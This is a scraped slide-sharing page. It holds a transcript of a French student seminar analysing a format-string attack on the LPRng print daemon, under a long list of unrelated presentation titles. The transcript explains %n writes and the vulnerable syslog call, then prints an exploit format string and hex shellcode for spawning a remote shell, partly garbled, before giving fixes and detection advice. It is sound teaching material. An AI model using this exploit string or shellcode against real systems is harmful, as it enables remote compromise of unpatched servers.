Analyse d’une attaque contre le systeme LPRng (groupe 7) - La vulnerabilite des format strings - Qu’est ce qu’une attaque de format strings? - Comment.

Slides:



Advertisements
Présentations similaires
Mais vous comprenez qu’il s’agit d’une « tromperie ».
Advertisements

ORTHOGRAM PM 3 ou 4 Ecrire: « a » ou « à » Référentiel page 6
LES NOMBRES PREMIERS ET COMPOSÉS
Reporting de la Cellule Nationale Droit dOption Situation au 31 décembre 2011.
[number 1-100].
Présentation de la circonscription Année 2011/2012 Jeudi 24 novembre 2011.
Additions soustractions
Distance inter-locuteur
1 Plus loin dans lutilisation de Windows Vista ©Yves Roger Cornil - 2 août
Le château Clique le plus rapidement possible sur le numéro de la chambre du trésor : 6 ?
7 juin 2012 DGAL.
Les numéros 70 –
Les numéros
Les identités remarquables
Le, la, les words Possessive Adjectives MINE!!. 2 My in french is mon, ma,mes... Le word/ begins with a vowel: Mon La word: Ma Les word: Mes.
Algorithme et structure de données
LES TRIANGLES 1. Définitions 2. Constructions 3. Propriétés.
Données statistiques sur le droit doption au 31/01 8 février 2012.
Correspondances en Onco-Urologie - Vol. III - n° 3 – juillet-août-septembre VESSIE Daprès James ND et al., N Engl J Med 2012;366:16:
Technologies et pédagogie actives en FGA. Plan de latelier 1.Introduction 2.Les technologies en éducation 3.iPads 4.TNI 5.Ordinateurs portables 6.Téléphones.
Révision (p. 130, texte) Nombres (1-100).
La législation formation, les aides des pouvoirs publics
Exercice Trame Ethernet
Mr: Lamloum Med LES NOMBRES PREMIERS ET COMPOSÉS Mr: Lamloum Med.
La méthodologie………………………………………………………….. p3 Les résultats
Structure(djs)TéléphoneFax ADRA R049,96,03,21 CHLEF027,77,22,66 /77,49, LAGHOUAT029,90,41,08029,90,42,47 OUM EL BOUAGHI032,42,16,26032,42,45,32.
Jack Jedwab Association détudes canadiennes Le 27 septembre 2008 Sondage post-Olympique.
Le soccer & les turbans Sondage mené par lAssociation détudes canadiennes 14 juin 2013.
Présentation générale
1 Guide de lenseignant-concepteur Vincent Riff 27 mai 2003.
Le drapeau canadien comme symbole de fierté nationale : une question de valeurs partagées Jack Jedwab Association détudes canadiennes 28 novembre 2012.
Et la disparition de notre
Si le Diaporama ne s'ouvre pas en plein écran Faites F5 sur votre clavier.
Les nombres.
Fierté envers les symboles et institutions canadiens Jack Jedwab Association détudes canadiennes 26 novembre 2012.
LES NOMBRES PREMIERS ET COMPOSÉS
Logiciel gratuit à télécharger à cette adresse :
Les chiffres & les nombres
Les Monnaies et billets du FRANC Les Monnaies Euro.
1 INETOP
Calculs et écritures fractionnaires
RACINES CARREES Définition Développer avec la distributivité Produit 1
Appliquer la métthode Branch and Bound au problème de lassignation des tâches avec la matrice suivante: 1234 a11 88 b c33415 d Calcul de.
DUMP GAUCHE INTERFERENCES AVEC BOITIERS IFS D.G. – Le – 1/56.
Tournoi de Flyball Bouin-Plumoison 2008 Tournoi de Flyball
Année universitaire Réalisé par: Dr. Aymen Ayari Cours Réseaux étendus LATRI 3 1.
MAGIE Réalisé par Mons. RITTER J-P Le 24 octobre 2004.
1 INETOP
Les Nombres 0 – 100 en français.
Aire d’une figure par encadrement
Équipe 2626 Octobre 2011 Jean Lavoie ing. M.Sc.A.
P.A. MARQUES S.A.S Z.I. de la Moussière F DROUE Tél.: + 33 (0) Fax + 33 (0)
Les fondements constitutionnels
MAGIE Réalisé par Mons. RITTER J-P Le 24 octobre 2004.
Buffer Overflow Anatomy of an exploit.
1/65 微距摄影 美丽的微距摄影 Encore une belle leçon de Macrophotographies venant du Soleil Levant Louis.
Certains droits réservés pour plus d’infos, cliquer sur l’icône.
LES COURSES SUR PISTE.
LES PILES ET FILES.
Notions de pointeurs en C
Exercice de vérification 1 p
Annexe Résultats provinciaux comparés à la moyenne canadienne
et quelques rappels sur certains éléments du langage C
Principales nouveautés introduites par le projet de loi n o 32 modifiant la Loi sur les élections scolaires Formation des secrétaires généraux des commissions.
Les Chiffres Prêts?
Elles avaient envahi le jardin, mais derrière... 1.
La formation des maîtres et la manifestation de la compétence professionnelle à intégrer les technologies de l'information et des communications (TIC)
Partie II: Temps et évolution Energie et mouvements des particules
Bienvenue.
Transcription de la présentation:

Analyse d’une attaque contre le systeme LPRng (groupe 7) - La vulnerabilite des format strings - Qu’est ce qu’une attaque de format strings? - Comment proviter de cette vulnerabilite pour ecrire des valeurs - Exemple d’application de l’attaque pour un programme simple - Une vulnerabilite dans LPRng - Le protocole LPD - Un bug de format de string dans une fonction de logging - L’attaque contre LPRng - Les solutions

La vulnerabilite des format strings Qu’est ce qu’une vulnerabilite de format string? Qu’est ce qu’une vulnerabilite de format string? Exemple: Exemple: void main() { char buf[512]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); printf(buf);} A premiere vue pas de buffer overflow A premiere vue pas de buffer overflow Possibilite de lire des valeurs sur le stack, par exemple quand buf= “%x”. Possibilite de lire des valeurs sur le stack, par exemple quand buf= “%x”.

La vulnerabilite des format strings Comment ecrire des valeurs? Comment ecrire des valeurs? Utiliser la commande ‘%n’ de printf Utiliser la commande ‘%n’ de printf Exemple: Exemple: snprintf(buf, 4, "%100d%n", 0, &i) Comment faire pour ecrire des grandes valeurs a n’importe quel endroit? Comment faire pour ecrire des grandes valeurs a n’importe quel endroit? Utiliser %123$hn Utiliser %123$hn Exemple: Exemple:hi=(bigvalue>>16);lo=(bigvalue&0xffff)+0x10000-hi; sprintf(buf, "%%dd%1$hn%%dd%2$hn", hi, lo); Si hi=3000 et lo=6000, genere le format string: "%3000d%1$hn%6000d%2$hn" Si hi=3000 et lo=6000, genere le format string: "%3000d%1$hn%6000d%2$hn"

La vulnerabilite des format strings Exemple d’attaque Exemple d’attaque Programme cible: Programme cible: void main() { char buf[512]; memset(buf, 0, sizeof(buf)); read(0, buf, sizeof(buf)); printf(buf);} Format string utilise pour lancer un remote shell a partir de ce programme: Format string utilise pour lancer un remote shell a partir de ce programme: E2 F9 FF BF E0 F9 FF BF %49143d% E E1$hn%79865d%2$hn EB 3B 5E 29 C C C D 4E 08 B0 66 CD C F..N..f..C.F..f E C0 89 C B ^..F.)....F...f D 4E E 0C 8D 4E 08 EB 02 EB 3A B0F..N..N..N....: CD E 0C B0 66 CD C 89f...^.CC.f...V B CD C3 B0 3F 29 C9 CD 80 B0V..fC.....?) F 41 CD 80 B0 3F 41 CD C 87?A...?A...V..v F3 8D 4B 0C B0 0B CD E8 84 FF FF FF 2F 62..K /b A0 69 6E 2F 73 68in/sh

Une vulnerabilite dans LPRng Le protocole LPD: Le protocole LPD: - une connection TCP sur le port 515 par commande - le premier byte du message envoye identifie la commande que l’on veut envoyer - voir RFC1179 pour details

Une vulnerabilite dans LPRng Un bug de format string dans une fonction de logging: Un bug de format string dans une fonction de logging: Quand un message recu ne correspond pas a une requete valide, le contenu du message est envoye a syslogd par l’appel suivant: Quand un message recu ne correspond pas a une requete valide, le contenu du message est envoye a syslogd par l’appel suivant: (void) syslog(SYSLOG_FACILITY | kind, msg); Le deuxieme argument de syslog correspond a un format string, comme le premier argument de printf, d’ou la vulnerabilite. Le deuxieme argument de syslog correspond a un format string, comme le premier argument de printf, d’ou la vulnerabilite.

L’attaque contre LPRng Envoyer dans un message au serveur lpd une requete intentionnellement invalide Envoyer dans un message au serveur lpd une requete intentionnellement invalide => le contenu du message sera envoye par syslog en position de format string => le contenu du message sera envoye par syslog en position de format string Inserer dans le message un format string malicieux Inserer dans le message un format string malicieux Effectuer une recherche brute force pour deviner la position dans le stack du buffer dans lequel sera stocke le message Effectuer une recherche brute force pour deviner la position dans le stack du buffer dans lequel sera stocke le message L’attaque a ete testee avec succes sur plusieurs systemes Redhat7.0 mis a disposition des etudiants pour le seminaire. L’attaque a ete testee avec succes sur plusieurs systemes Redhat7.0 mis a disposition des etudiants pour le seminaire.

Les solutions Ne jamais utliser comme format string une chaine de caracteres pouvant provenir de l’utilisateur Ne jamais utliser comme format string une chaine de caracteres pouvant provenir de l’utilisateur Remplacer Remplacer (void) syslog(SYSLOG_FACILITY | kind, msg); Par (void) syslog(SYSLOG_FACILITY | kind, "%s", msg); Utiliser des versions de LPRng > Utiliser des versions de LPRng > Detection d’intrusion en examinant le contenu des paquets envoyes au port 515 Detection d’intrusion en examinant le contenu des paquets envoyes au port 515